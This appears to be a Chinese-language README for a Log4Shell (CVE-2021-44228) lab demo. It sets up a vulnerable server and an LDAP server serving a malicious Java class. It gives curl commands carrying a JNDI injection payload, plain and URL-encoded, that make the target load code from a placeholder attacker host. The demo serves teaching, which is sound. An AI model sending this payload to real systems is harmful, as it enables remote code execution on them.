本项目旨在演示 Log4Shell / CVE-2021-44228 漏洞的工作原理。
你只需要安装 Docker。理想情况下,你拥有两台不同的虚拟机:一台用作漏洞服务器,另一台用作恶意服务器,用于托管恶意代码仓库和 LDAP 服务器。
你也可以选择安装 Make 和 Docker Compose,但并非必须,因为本仓库还提供了一个 make.sh 脚本,可以跳过这些要求,从 Docker 容器内部使用它们。
如果你尚未安装 Docker,以下是 Debian 虚拟机的安装步骤:https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # 或者如果你已安装 Make 和 Docker Compose,也可以执行 make run
这将启动一个基础 LDAP 服务器和一个基础 Python 服务器,用于提供恶意的 Java 类。
你需要提供这些服务器可访问的 IP 地址或域名。
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # 可选:如果你已安装 Make 和 Docker Compose,可用 make 代替 ../make.sh
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
或直接
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
其中 ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} 已经过 URL 编码
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf